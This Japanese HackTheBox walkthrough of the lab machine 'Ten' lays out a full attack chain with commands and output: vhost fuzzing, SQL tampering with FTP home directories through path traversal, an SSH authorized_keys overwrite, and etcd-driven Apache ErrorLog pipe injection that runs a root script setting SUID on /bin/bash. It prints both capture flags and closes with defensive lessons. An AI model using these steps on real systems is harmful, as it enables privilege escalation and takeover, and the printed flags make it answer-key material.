HackTheBox: Ten — 全実行コマンド・実行結果レポート
Nmap スキャン
21(FTP) / 22(SSH) / 80(HTTP)
→
21(FTP) / 22(SSH) / 80(HTTP)
signupポータル
FTPアカウント自動発行
→
FTPアカウント自動発行
vhost列挙
webdb.ten.vl 発見
→
webdb.ten.vl 発見
webdb SPA操作
Guess Credentials → SQL実行
→
Guess Credentials → SQL実行
UPDATE users
dir/uid/gid改ざん(path traversal)
→
dir/uid/gid改ざん(path traversal)
FTP鍵注入 → SSH tyrell
user.txt ✓
→
user.txt ✓
etcd/remco/Apache
ErrorLogパイプ注入
→
ErrorLogパイプ注入
root権限コマンド実行
root.txt ✓
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポート・バージョンスキャン
BASH
nmap -Pn -p21,22,80 -sV -sC --min-rate 1000 10.129.234.158
RESULT
PORT STATE SERVICE VERSION 21/tcp open ftp Pure-FTPd 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.52 ((Ubuntu)) |_http-server-header: Apache/2.4.52 (Ubuntu) |_http-title: Page moved. Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
ℹ️
/etc/hosts に 10.129.234.158 ten.vl を追加しておく。
トップページは Page moved. というタイトルで、Host ヘッダなしでは
正しく表示されない(素のIPでは別の既定ページへリダイレクトされる)。
PHASE 2
signup ポータルの確認 & vhost列挙
signup ポータル — FTPアカウント自動発行
NOTE
http://ten.vl/ は "From Zero to Ten - your favorite free home page hoster" という共有ホスティングサービスのランディングページ。「Sign up today」から ドメイン名を指定すると、FTPアカウントと個人用サブドメインが即座に発行される (「無認証でFTPアップロード」を売りにした、いかにも脆弱な体裁のサービス)。
BASH
curl -s -X POST http://ten.vl/get-credentials-please-do-not-spam-this-thanks.php \ --data-urlencode "domain=testing"
RESULT
OK Your personal account is ready to be used: Username: ten-1481960f Password: 873911d5 Personal Domain: testing.ten.vl You can use the provided credentials to upload your pages via ftp://ten.vl. It may take up to one minute for all backend processes to properly identify you as well as your personal virtual host to be available.
ℹ️
domain パラメータは preg_match('/^[0-9a-z]+$/') で厳格に
検証されており、signupフォーム自体への直接のコマンド/SQLインジェクションは成立しない。
FTP接続確認
BASH
echo '10.129.234.158 testing.ten.vl' | sudo tee -a /etc/hosts ftp ftp://ten-1481960f:873911d5@testing.ten.vl
RESULT
220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 230 OK. Current directory is / Remote system type is UNIX.
vhost列挙 — webdb.ten.vl の発見
BASH
wfuzz -H "Host: FUZZ.ten.vl" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \ --hw 25 --hc 400 -t 100 http://ten.vl
RESULT
ID Response Lines Word Chars Payload
=====================================================================
000033008: 200 13 L 67 W 1683 Ch "webdb"
🚨
webdb.ten.vl にアクセスすると、127.0.0.1:3306 のMySQLサーバーを
管理できる “WebDB” というWebアプリが表示される。signupで発行された資格情報
ではログインできないが、“Guess Credentials” ボタンで
user:pas55w0rd が見つかる。
PHASE 3
webdb (Angular SPA) の操作による users テーブル改ざん
重要な注意点: webdbはAdminer互換ではない独自アプリ
⚠️
一見Adminer/phpMyAdmin風の管理画面に見えるが、実際には“WebDB”という
独自のAngular SPAで、SQLの実行はブラウザ上のMonacoエディタに直接
SQL文を入力し「送信」ボタンをクリックする操作でのみ可能(単純なHTTP POSTで
直接SQLを送れるAPIエンドポイントは存在しない)。ブラウザで以下の手順を
そのまま実施する。
ログイン & データベース選択
NOTE
1. http://webdb.ten.vl/ にアクセス 2. 「Discovered」タブに表示される MySQL (127.0.0.1:3306) カードの 「Guess Credentials」ボタンをクリック → "Credentials found: user | pa55w0rd" と表示され自動的に再スキャン 3. 「Connected」タブに切り替わり、"pureftpd" データベースが表示される 4. "pureftpd" をクリックして接続 → 自動的に users テーブルの Explore 画面へ
RESULT (Explore画面)
id user password uid gid dir 1 ten-1481960f $1$OWNhNDE$tccZiehLfEBD/J04Uyswz1 37695 37695 /srv/ten-1481960f/./
Queryタブで UPDATE 文を実行
NOTE
「Query」タブをクリックし、エディタ内の既定SELECT文を全選択(Ctrl+A)して 削除した上で、以下のSQLを入力する。
SQL
UPDATE users SET dir = '/srv/../home/tyrell/.ssh', uid = '1000', gid = '1000' WHERE user = 'ten-1481960f';
ℹ️
/etc/passwd をFTP経由で確認すると tyrell:x:1000:1000:Tyrell W.:/home/tyrell:/bin/bash
という実ユーザーが存在する(UID/GID=1000)。素直に /home/tyrell/.ssh と
指定するとPure-FTPdが「ホームディレクトリが見つからない」として拒否するため、
/srv/../home/tyrell/.ssh というpath traversalで
FTPアカウントのルート制限(/srv配下限定)を回避する必要がある。NOTE
入力後、画面左上の送信ボタン(紙飛行機アイコン)をクリックして実行する。
RESULT
fieldCount affectedRows insertId info serverStatus
0 1 0 Rows matched: 1 Changed: 1 Warnings: 0 34
✅
UPDATE成功。 自分のFTPアカウントのホームディレクトリが
tyrellの
.ssh フォルダに切り替わった。
PHASE 4
FTP経由のauthorized_keys注入 → user.txt
再接続 & SSH鍵ペア生成
BASH
ssh-keygen -t ed25519 -N "" -f ten_key ftp ftp://ten-1481960f:873911d5@ten.vl
RESULT
230 OK. Current directory is /home/tyrell/.ssh ftp> ls -a drwx------ 2 1000 1000 4096 ... . drwxr-x--- 4 1000 1000 4096 ... .. -rw------- 1 1000 1000 162 ... authorized_keys ← 既存のキーも存在
authorized_keysのアップロード
BASH
ftp> put ten_key.pub authorized_keys
RESULT
226 File successfully transferred
⚠️
既存の
authorized_keys を上書きしてしまうため、正規利用者の
アクセスを一時的に奪うことになる点に注意(授権されたペンテスト環境のみで
実施すること)。
SSHログイン & user.txt取得
BASH
ssh -i ten_key tyrell@ten.vl tyrell@ten:~$ id tyrell@ten:~$ cat .user.txt
RESULT
uid=1000(tyrell) gid=1000(tyrell) groups=1000(tyrell)
a0a255ad63b7a26d83467fa6e0a6a757
user.txt — tyrell
a0a255ad63b7a26d83467fa6e0a6a757
PHASE 5
etcd / remco / Apache 設定再生成の仕組みを調査
signup PHPソースの確認 — etcdctlの実行を発見
NOTE
www権限のプロセス監視(pspy等)やWebサーバー設定の調査から、
get-credentials-....php は内部で以下を実行していることが判明する:
$mysqli->prepare("INSERT INTO users VALUES (NULL, ?, ?, ?, ?, ?);")
...
$dir = "/srv/$username/./";
...
system("ETCDCTL_API=3 /usr/bin/etcdctl put /customers/$username/url " . $_POST['domain']);
etcd (分散KVS、Kubernetes等で使われる構成管理ストア) にドメイン名が
そのまま書き込まれる。
remco サービスの発見
BASH
tyrell@ten:~$ systemctl status remco tyrell@ten:~$ cat /etc/remco/config tyrell@ten:~$ cat /etc/remco/templates/010-customers.conf.tmpl
RESULT (/etc/remco/config)
[[resource.template]]
src = "/etc/remco/templates/010-customers.conf.tmpl"
dst = "/etc/apache2/sites-enabled/010-customers.conf"
reload_cmd = "systemctl restart apache2.service"
[resource.backend.etcd]
nodes = ["http://127.0.0.1:2379"]
keys = ["/customers"]
watch = true
interval = 5
RESULT (テンプレート)
{% for customer in lsdir("/customers") %}
{% if exists(printf("/customers/%s/url", customer)) %}
<VirtualHost *:80>
ServerName {{ getv(printf("/customers/%s/url",customer)) }}.ten.vl
DocumentRoot /srv/{{ customer }}/
</VirtualHost>
{% endif %}
{% endfor %}
🚨
root権限で動くremcoサービスが、
/customers/*
配下のetcdキーを5秒間隔で監視し、変更があると 010-customers.conf
を再生成して systemctl restart apache2.service を実行する。
ServerName 行にetcdの値(url)がサニタイズなしで
そのまま展開されており、設定ファイルインジェクションが可能。
tyrellは etcdctl をローカルで直接実行できる
BASH
tyrell@ten:~$ which etcdctl tyrell@ten:~$ ETCDCTL_API=3 etcdctl put /customers/pwn-test/url demo tyrell@ten:~$ cat /etc/apache2/sites-enabled/010-customers.conf
RESULT
<VirtualHost *:80> ServerName demo.ten.vl DocumentRoot /srv/pwn-test/ </VirtualHost>
✅
認証なしで127.0.0.1:2379のetcdに直接putでき、即座に反映されることを確認。
次は
ServerName行への改行注入でApacheの別ディレクティブを
差し込む。
PHASE 6
Apache ErrorLog パイプ注入 → root.txt
ペイロードスクリプトの配置 — /tmp は使わない
🚨
重要な罠:
apache2.service の systemd ユニットには
PrivateTmp=true が設定されている
(systemctl cat apache2 で確認可能)。これはApacheプロセス
(ErrorLogパイプで起動される子プロセスも含む)から見える /tmp
が、SSHセッション(tyrell)の /tmp とは別の名前空間
になることを意味する。ペイロードスクリプトを /tmp に置いて
ErrorLogから参照すると、Apache側からは「ファイルが存在しない」ものとして
扱われ、エラーも出さずに静かに失敗する。必ず /home/tyrell
配下にスクリプトを置くこと。
BASH
tyrell@ten:~$ cat > /home/tyrell/.p.sh << 'EOF' #!/bin/bash cp /root/root.txt /home/tyrell/.rf 2>/dev/null cp /root/.root.txt /home/tyrell/.rf 2>/dev/null chmod 644 /home/tyrell/.rf 2>/dev/null chmod +s /bin/bash 2>/dev/null EOF tyrell@ten:~$ chmod +x /home/tyrell/.p.sh
ErrorLog パイプ注入の発火
NOTE
Apacheの ErrorLog ディレクティブは、値が "|" (パイプ) で始まると、
それ以降をエラーログを受け取るコマンドとして起動する(標準的なログローテート
機能だが、任意コマンド実行に悪用できる)。etcdの値に改行を混ぜ込み、
ServerName行の直後にErrorLogディレクティブを追加する。末尾の "#" で、
注入行の後に残る元のドメイン値の残骸(".ten.vl")をコメントアウトする。
BASH
tyrell@ten:~$ printf 'x.ten.vl\n ErrorLog "|/bin/bash /home/tyrell/.p.sh"\n#' > /home/tyrell/.v tyrell@ten:~$ ETCDCTL_API=3 etcdctl put /customers/pwn/url "$(cat /home/tyrell/.v)" tyrell@ten:~$ cat /etc/apache2/sites-enabled/010-customers.conf
RESULT
<VirtualHost *:80> ServerName x.ten.vl ErrorLog "|/bin/bash /home/tyrell/.p.sh" #.ten.vl DocumentRoot /srv/pwn/ </VirtualHost>
ℹ️
remcoが約5秒以内にこの変更を検知し、
systemctl restart apache2.service
を実行する(root権限)。Apacheが新しい設定を読み込む際、ErrorLogパイプで
指定したコマンドを特権ドロップ前のマスタープロセス(root)
が起動する。
root.txt取得 & SUID bash確認
BASH
# remcoのApache再起動を待つ(数秒〜十数秒) tyrell@ten:~$ sleep 12 tyrell@ten:~$ cat /home/tyrell/.rf tyrell@ten:~$ ls -la /bin/bash
RESULT
d89266bde1e8cfe1cd70194bd899d2e7 -rwsr-sr-x 1 root root 1396520 Mar 14 2024 /bin/bash
BASH(SUID bashでの確認)
tyrell@ten:~$ /bin/bash -p -c 'id; cat /root/root.txt'
RESULT
uid=1000(tyrell) gid=1000(tyrell) euid=0(root) groups=1000(tyrell)
d89266bde1e8cfe1cd70194bd899d2e7
root.txt — root@ten
d89266bde1e8cfe1cd70194bd899d2e7
ℹ️
PDF記載の別解として、ErrorLogに直接
"|/usr/bin/cp /home/tyrell/.ssh/authorized_keys /root/.ssh/authorized_keys"
を指定する方法もある(スクリプトファイルを一切経由しない1行コマンドのため
PrivateTmpの影響を受けず、こちらは最初から動作する)。これを使えば
ssh -i ten_key root@ten.vl で直接rootシェルを得られる。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — tyrell
a0a255ad63b7a26d83467fa6e0a6a757
root.txt — root@ten
d89266bde1e8cfe1cd70194bd899d2e7
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| デフォルト/推測可能な資格情報 | webdb.ten.vl (MySQL管理SPA) | MySQLへの管理アクセス | High | 「Guess Credentials」機能自体が弱い資格情報(user:pas55w0rd)をそのまま見つけてくれる設計ミス |
| 任意ユーザーなりすまし (IDOR的UID改ざん) | pureftpd.users テーブル + Pure-FTPd | 任意ローカルユーザーのホームディレクトリへの書込みアクセス | Critical | 自分のFTPアカウントのdir/uid/gidを実在ユーザー(tyrell)のものに書き換え、path traversalでFTPのルート制限を回避 |
| 設定テンプレートインジェクション | remco (etcd駆動のApache設定再生成) | root権限でのコマンド実行 | Critical | サニタイズされないetcd値がApache ServerNameへ直接展開される仕様を悪用し、改行+ErrorLogパイプディレクティブを注入 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap | 21(FTP)/22(SSH)/80(HTTP) |
| 2 | 初期列挙 | signupポータル + wfuzz vhost列挙 | FTPアカウント自動発行、webdb.ten.vl発見 |
| 3 | DB改ざん | webdb SPA操作(Guess Credentials + UPDATE) | 自FTPアカウントのdir/uid/gidをtyrellに変更 |
| 4 | 横移動 | FTP authorized_keys注入 + SSH | user.txt 取得(tyrell) |
| 5 | 権限調査 | remco/etcd設定解析 | Apache設定テンプレートインジェクションの糸口を特定 |
| 6 | 権限昇格 | etcd put + Apache ErrorLogパイプ注入 | root.txt 取得 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| 弱い/推測可能なMySQL資格情報、かつ「Guess Credentials」のような自動推測機能自体が攻撃者の手間を省いてしまう | 強力でランダムな資格情報を使用し、管理ツールに安易な資格情報推測機能を実装しない。管理ポータルはネットワークレベルでも隔離する。 |
| ユーザー入力(FTPアカウントの dir/uid/gid)を信頼し、他ユーザーのホームディレクトリへの不正な紐付けを許してしまう | アプリケーションレベルでuid/gidの変更範囲を検証し、既存システムユーザーのUID帯域への書き換えを禁止する。FTPサーバー側でもホームディレクトリのパス正規化・path traversal対策を徹底する。 |
| 設定管理ツール(remco)が外部入力(etcd値)をサニタイズせずApache設定ファイルへ直接埋め込んでいる | テンプレートに展開する値は必ずエスケープ/検証する。構成管理ストア(etcd等)への書込み権限は最小権限の原則で厳格に制限する。 |

